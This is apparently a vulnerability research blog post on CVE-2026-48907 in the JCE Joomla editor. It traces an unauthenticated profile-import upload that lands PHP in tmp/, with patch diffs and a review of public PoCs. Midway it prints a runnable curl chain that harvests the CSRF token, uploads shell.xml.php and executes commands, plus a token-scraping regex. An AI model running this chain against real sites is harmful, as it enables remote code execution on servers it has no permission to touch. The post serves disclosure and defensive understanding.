//nefariousplan

CVE-2026-48907: JCE's Profile Import Stages To tmp/. Joomla's tmp/ Runs PHP.

vendor

patterns

cve

proof of concept

JCE's vendor advisory at joomlacontenteditor.net frames CVE-2026-48907 as a flaw that "allowed unauthenticated users to upload editor profiles, which could be exploited to upload arbitrary files to the server." NVD compresses it: "the creation of new editor profiles for unauthenticated users, ultimately resulting in PHP code upload and execution." Both read as a two-stage exploit. Create a profile. Use the profile to upload.

The advisory describes two stages. The code describes one. The handler the advisory calls "profile creation" is the file upload. The profile_file multipart field on POST /index.php?option=com_jce&task=profiles.import is the attacker's PHP shell. The destination is $tmp_path/$name, and on every Joomla deployment that runs PHP from tmp/, which is the default, the file executes on the next GET. There is no second stage.

The advisory describes two stages. The code describes one.

Read the JCE advisory and the NVD entry as a state machine. Stage one: create a profile, gated by a missing access control. Stage two: use the created profile to upload arbitrary files. CWE-284, Improper Access Control, is the gate that was missing on stage one. The privileged operation in stage two is what closes the chain.

The first PoC published, webshellseo8/CVE-2026-48907-Unauthenticated-RCE-in-JCE by an author signed BIBIL_0DAY, builds the chain that way. It POSTs a malicious profile XML to profiles.import, granting the anonymous session a permissive upload profile (filetypes: "files=php,txt,gif", validate_mimetype: "0", add_random: "0", area: 0, ordering: -99999). Then it POSTs to index.php?option=com_jce&task=plugin.rpc&plugin=browser with method=upload and the PHP shell as the form file. The first request unlocks. The second writes. Two stages, like the advisory promises.

The second PoC, ywh-jfellus/CVE-2026-48907, does not. It POSTs once to profiles.import with profile_file set to a multipart upload named cve-2026-48907-3105.xml.php, body <?= 45*69 ?>\n. The server returns:

{"success":true,"message":"","messages":{"info":["0 Profile(s) imported successfully"]},"data":{"redirect":"\/index.php\/component\/jce?view=profiles"}}

The author then GETs /tmp/cve-2026-48907-3105.xml.php. The response body is 3105. PHP executed. The "import" never created a profile. The success message even says so: zero profiles imported. The shell was already on disk before the parser refused to read it.

profiles.import is a file upload. Session::checkToken() is the only gate.

The pre-patch controller lives at administrator/components/com_jce/controller/profiles.php, class JceControllerProfiles. The import() method, in JCE 2.9.99.4:

public function import()
{
    // Check for request forgeries
    Session::checkToken() or jexit(JText::_('JINVALID_TOKEN'));

    $app = Factory::getApplication();
    $model = $this->getModel();
    $result = $model->import();
    ...
}

There is one gate. Session::checkToken() is the Joomla CSRF check. The token it verifies is bound to a session and an action context. An unauthenticated visitor gets a session on their first request, and the token is rendered into the response HTML as "csrf.token":"<32 hex chars>". The PoC harvests it with one line of regex over the homepage:

m = re.search(r'"csrf\.token"\s*:\s*"([a-f0-9]{32})"', r.text)

The next POST presents the harvested token under a form-field name that is itself the token value. Session::checkToken() returns true. The handler executes. No login. No user. No current_user_can analog. The comment in the source labels the line correctly: "Check for request forgeries." The handler then treats request-forgery defense as authentication.

This is nonce-is-not-auth, the pattern the catalog has documented twelve times in WordPress plugins. The pix-woocommerce-nonce-is-not-auth post traces the shape through a wp_ajax_nopriv_ upload handler; the Avada Builder post we published this morning watches the same gate land on call_user_func. The mechanism crosses CMSes intact. WordPress calls the freshness token a "nonce," Joomla calls it a "token." Both check that the request came from a session that fetched the form. Neither asks who the session belongs to.

The 2.9.99.5 patch (commit 64f85d92, "Update authorisation checks across all controllers") adds the missing question to the import handler:

 public function import()
 {
     // Check for request forgeries
-    Session::checkToken() or jexit(JText::_('JINVALID_TOKEN'));
+    Session::checkToken() or jexit(Text::_('JINVALID_TOKEN'));
+
+    $user = Factory::getUser();
+
+    if (!$user->authorise('core.manage', 'com_jce')) {
+        throw new Exception(Text::_('JERROR_ALERTNOAUTHOR'), 403);
+    }

$user->authorise('core.manage', 'com_jce') is the question the controller had not been asking. Three other methods on the same controller (repair, copy, delete) receive the same insertion in the same commit. Four handlers in JceControllerProfiles were treating CSRF as authentication. The commit commits the difference between "the request is fresh" and "the requester is allowed."

The lone-CSRF-gate version of this controller landed in commit bd58bced on July 30, 2018. The authorisation check arrived seven years and ten months later, on June 3, 2026, three days after the disclosure was confirmed.

The fourth argument to File::upload() was true for seven years.

Down in the model, administrator/components/com_jce/models/profile.php, the import handler calls into Joomla's filesystem helper. The pre-patch line:

// Move uploaded file.
File::upload($source, $destination, false, true);

Joomla\CMS\Filesystem\File::upload has the signature:

public static function upload($src, $dest, $useStreams = false, $allowUnsafe = false, $safeFileOptions = [])

The fourth argument is $allowUnsafe. When true, Joomla's File::upload skips the call to \Joomla\CMS\Filesystem\Helper::canUpload() that would otherwise reject .php, .phtml, .phar, and the other extensions the framework's safe-file policy denies. The framework default for that argument is false. JCE's call site passes true.

The line was written on March 13, 2019, in commit f0e930c1 ("Add files via upload"), which introduced models/profile.php to the codebase. The fourth argument has been true ever since. Seven years and three months. Every Joomla site that installed JCE between then and June 2026 was running a profile-import handler that explicitly asked the filesystem layer to disable its safe-file check before writing the upload to disk.

This is safe-mode-was-opt-in: the catalog pattern for a library that exposes a security-relevant flag with a safe default, and a caller that passes the unsafe value. The EspoCRM exhibit shows the same shape with Michelf Markdown's no_markup and no_entities; the Everest Forms exhibit shows it inside one file where the safe wrapper lives fifty-four lines below the unsafe call. JCE's instance puts the unsafe flag on a File::upload call that runs once per HTTP request reachable without authentication. The unsafe value is hardcoded. The opt-in did not come from configuration or from the environment. The opt-in was the source.

The 2.9.99.5 patch (commit 0d599a30, "Fix and update profiles import") removes the fourth argument:

 // Move uploaded file.
-File::upload($source, $destination, false, true);
+File::upload($source, $destination, false);

One word removed. The remainder of models/profile.php adds new checks: a size cap, if ($file['size'] > 1024 * 512), and an extension assertion, if (strtolower($extension) !== 'xml'). The framework's canUpload() then runs in the background once $allowUnsafe returns to its default. The patch did not invent the safe-file check. The safe-file check existed. The patch stopped opting out of it.

The destination is tmp/. Joomla runs PHP from tmp/.

Even with $allowUnsafe = true, an attacker still needs a destination directory the webserver will execute PHP from. The handler reads it from Joomla configuration:

$config = Factory::getConfig();
$destination = $config->get('tmp_path') . '/' . $name;
$source = $file['tmp_name'];

// Move uploaded file.
File::upload($source, $destination, false, true);

tmp_path on a default Joomla install is <webroot>/tmp. The joomla:latest Docker image, which the ywh-jfellus PoC uses to stand up its vulnerable/ lab via entrypoint.sh that runs php /var/www/html/cli/joomla.php extension:install --url=https://github.com/widgetfactory/jce/releases/download/2.9.99.4/pkg_jce_29994.zip, ships tmp_path as /var/www/html/tmp. Apache serves GET /tmp/<file> from that directory. The shipped .htaccess does not deny PHP execution there. The official Joomla documentation has, for years, recommended moving tmp_path outside the webroot and adding a <Files *.php> deny block to the tmp directory. The recommendation is the workaround for the architecture. It is not a property of the architecture.

This is unauth-write-to-execution-path in its plainest form. The catalog's nineteen exhibits all compose the same three architectural decisions: an unauthenticated trigger, a write directory that overlaps the execute path, and a contract that does not validate file identity. JCE has all three. The pre-patch import handler accepts unauthenticated callers (Session::checkToken only), writes to a webroot directory (tmp/), and does not validate the file's extension or content (the safe-file check was opted out of). The Pix for WooCommerce exhibit on this pattern composed the same shape with a wp-content/plugins/.../certs_c6/ destination and a wp_ajax_nopriv_ registration; JCE composes it with a tmp/ destination and a Joomla session token.

The $name variable in models/profile.php is the multipart field's filename passed through File::makeSafe(), which strips path separators, control characters, and a small set of disallowed punctuation. It does not block extensions. cve-2026-48907-3105.xml.php survives File::makeSafe() unchanged. The destination becomes /var/www/html/tmp/cve-2026-48907-3105.xml.php. The next request:

GET /tmp/cve-2026-48907-3105.xml.php HTTP/1.1
Host: target

evaluates the file as PHP. Apache's content-handler dispatch reads the trailing .php, ignores the preceding .xml, hands the file to mod_php, and returns the interpreted output. The PoC's payload returns 3105. A weaponized payload returns whatever the attacker wanted.

The complete chain, runnable against an unhardened install:

# Step 1: harvest the CSRF token from any page render
TOKEN=$(curl -sk https://target/ \
  | grep -oE '"csrf\.token":"[a-f0-9]{32}"' \
  | grep -oE '[a-f0-9]{32}')

# Step 2: POST the PHP shell as profile_file, named to land in tmp/ as PHP
curl -sk -X POST "https://target/index.php?option=com_jce" \
  -F "[email protected];filename=shell.xml.php;type=application/xml" \
  -F "task=profiles.import" \
  -F "${TOKEN}=1"

# Step 3: execute
curl -sk "https://target/tmp/shell.xml.php?cmd=id"

Three requests. The first reads a public page. The second writes a PHP file to a webroot directory. The third runs it. No authentication. No profile. No second-stage upload.

The patch that closes one CVE adds six fixes.

Commits 0d599a30 ("Fix and update profiles import") and 64f85d92 ("Update authorisation checks across all controllers") together modify two files. The distinct defenses they install:

  1. Factory::getUser()->authorise('core.manage', 'com_jce') on the four controller methods that lacked it (import, repair, copy, delete).
  2. A 512 KB cap on uploaded file size in models/profile.php.
  3. An extension assertion in models/profile.php that rejects anything where strtolower(pathinfo($name, PATHINFO_EXTENSION)) !== 'xml'.
  4. A libxml_disable_entity_loader(true) guard around the simplexml_load_string call in helpers/profiles.php, scoped to PHP 7.x (the entity loader is disabled by default on PHP 8+).
  5. An allowlist in helpers/profiles.php of profile field keys (name, description, users, types, components, area, device, rows, plugins, published, ordering, params) inside JceProfilesHelper::processImport, dropping any child element whose name is not on the list.
  6. Removal of the $allowUnsafe = true argument on File::upload in models/profile.php.

The vendor advisory and the NVD entry each describe one bug: unauthenticated users upload editor profiles, which lets them upload arbitrary files. The patch ships six fixes. Two of them (auth check, allowUnsafe removal) close the path the public PoCs exploit. The other four are checks the author found while looking at the function whose patch was being prepared. The XXE guard, the field allowlist, the size cap, the extension assertion. Each one was a separate decision in the file's seven-year history. Each one is a separate place where the original author trusted a caller they should not have trusted, or a default they should not have overridden.

The CVE number names the upload path. The patch addresses the upload path and five other primitives the same handler exposes. If any of the other five had been weaponized first, the CVE would name a different one.

This is design-debt-driver at the function-scope. The profile-import handler accumulated unsafe choices for seven years, and the choices were independent. Removing one would not have closed the others. The 2.9.99.5 commit is the audit; the CVE is one symptom the audit happened to address first.

The mass scanners picked the long way.

The BIBIL_0DAY PoC is mirrored across webshellseo8, 87achrafg-stack, and 0xBlackash under three different bylines. All three take the two-stage path the advisory describes. They import a profile XML that grants the anonymous session permission to upload PHP files to /images/, then use JCE's own file-browser RPC (task=plugin.rpc&plugin=browser, method=upload) to upload a webshell. The chain works. The chain also depends on a second handler functioning the way the operator expects, on /images/ being writable, and on the add_random=0 flag in the malicious profile XML being honoured by the upload path. Each dependency is a place the long way can fail. None of them is a place the short way needs.

The ywh-jfellus PoC strips all of that out and lands the shell on the first request. Same profile_file multipart upload, same task=profiles.import, same Session::checkToken gate satisfied by a harvested CSRF token. The destination filename ends in .xml.php. The writer goes straight to tmp/. No second request. No file browser. No profile. The ywh-jfellus repo also ships paired vulnerable/ and patched/ docker-compose labs that install JCE 2.9.99.4 and 2.9.99.5 from the upstream release artifact, and its poc.py payload is <?= 45*69 ?>\n, which when executed returns 3105. It is a researcher's reproducer, written to a defender's standard, and it is the one that names the actual bug.

The two intents are different. BIBIL_0DAY's variant defaults to thirty threads, writes the URL of every confirmed shell to webshell.txt in append mode across runs, and is signed three times in the banner with Telegram channels T.ME/Devco1, T.ME/BIBIL0DAY, and T.ME/WebshellSR. The 87achrafg-stack fork swaps the Telegram channel to T.ME/FreeToolsCpa and adds a CUSTOM_SHELL payload that prints BERHASIL NGNTD:V on successful upload, Bahasa Indonesia operator slang for "succeeded, fucked it :V". The 87achrafg-stack README, written in Arabic, describes the script as a wp-json/wp/v2/users credential scraper for CVE-2025-9209, a WordPress vulnerability that is neither this CVE nor a Joomla bug. The exploit code in the file is the JCE Joomla scanner. The README was copied from a different campaign and the bytes were not edited.

The 0xBlackash variant is the same scanner under a third byline, packaged with a ChatGPT-generated header image, a CVSS 10.0 badge, an "Exploitation Flow" ASCII diagram, and a closing note that reads: "This repository does not provide exploit code or instructions for unauthorized access." The repository's other file is CVE-2026-48907.py. The PoC author count for this CVE is one. The republish count is at least three.

The scanners that hit production this week are the ones that picked the long way. They will keep working, on hosts that have not yet patched. The shorter way will also keep working, on every site that has not moved tmp_path outside the webroot. The patch closes the short way at the handler. The architectural choice that put tmp/ inside the webroot remains.

PoC: ywh-jfellus/CVE-2026-48907

The advisory describes two stages. The patch closes six. The handler is one file upload, and there is no profile.